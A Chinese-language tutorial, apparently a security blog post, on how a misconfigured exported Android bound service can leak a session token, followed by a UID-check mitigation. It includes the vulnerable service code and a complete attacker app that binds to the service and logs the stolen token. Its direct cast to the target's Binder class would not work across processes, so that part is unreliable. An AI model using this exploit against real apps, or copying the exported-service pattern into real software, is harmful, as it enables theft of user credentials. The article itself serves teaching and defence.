Android 绑定服务是怎么回事？一文带你看懂原理与信息泄露风险

🔍 Android 绑定服务导致敏感信息泄露漏洞分析与利用

🧩 什么是绑定服务（bindService）？

在 Android 中，服务（Service） 是一种运行在后台、无需用户界面的组件，通常用于执行长时间运行的任务，比如后台下载、播放音乐、执行数据库同步等。

绑定服务（bindService()）是一种让 其他组件或 App 通过接口调用服务功能 的方式。

当你调用 bindService() 时，实际上是在说：

“我要连接到这个服务，获取它暴露的接口对象，然后调用它的方法。”

把服务当作一个公司，你用 bindService() 拿到了它的联系人（Binder 对象），然后通过这个联系人去问它要数据、执行操作。

❗ 为什么绑定服务会造成信息泄露？

Android 中的绑定服务（bindService）如果被误配置为可被外部 App 绑定，且返回了含有敏感信息的 Binder 对象，就可能导致攻击者在无权限、无签名校验的前提下，获取隐私数据如 token、用户身份、配置等。

<serviceandroid:name=".TokenService"android:exported="true" />

public class TokenService extends Service{@Nullable@Overridepublic IBinder onBind(Intent intent){return new MyBinder();  // 外部可绑定    }public class MyBinder extends Binder{public String getToken(){return AppConfig.SESSION_TOKEN;  // 返回敏感信息        }    }}

漏洞关键点：

• 服务导出（exported="true"）。
• 未设置权限或校验绑定来源。
• 公开方法返回了敏感信息。

攻击者只需开发一个简单 App，绑定目标服务，调用其返回的 Binder 中的方法，即可盗取敏感信息。

步骤一：构造绑定 Intent

Intent intent = new Intent();intent.setComponent(new ComponentName("com.vuln.app", "com.vuln.app.TokenService"));

步骤二：发起绑定

context.bindService(intent, conn, Context.BIND_AUTO_CREATE);

步骤三：拿到 Binder 并调用接口

ServiceConnection conn = new ServiceConnection() {@Overridepublic void onServiceConnected(ComponentName name, IBinder service){// 强转为对方暴露的 Binder 类型        TokenService.MyBinder binder = (TokenService.MyBinder) service;        String token = binder.getToken();        Log.d("StolenToken", token);    }@Overridepublic void onServiceDisconnected(ComponentName name){}};

// MainActivity.javapublic class MainActivity extends AppCompatActivity{@Overrideprotected void onCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState);        Intent intent = new Intent();        intent.setComponent(new ComponentName("com.vuln.app", "com.vuln.app.TokenService"));        bindService(intent, conn, Context.BIND_AUTO_CREATE);    }private final ServiceConnection conn = new ServiceConnection() {@Overridepublic void onServiceConnected(ComponentName name, IBinder service){            String token = ((TokenService.MyBinder) service).getToken();            Log.e("[!] Token Leaked", token);        }@Overridepublic void onServiceDisconnected(ComponentName name){}    };}

⚠️ 注意：这里需要事先知道目标服务的包名和类名。

@Overridepublic IBinder onBind(Intent intent){int uid = Binder.getCallingUid();    String[] pkgs = getPackageManager().getPackagesForUid(uid);if (!Arrays.asList(pkgs).contains("com.trusted.client")) {return null;  // 拒绝绑定    }return new MyBinder();}

✅ 总结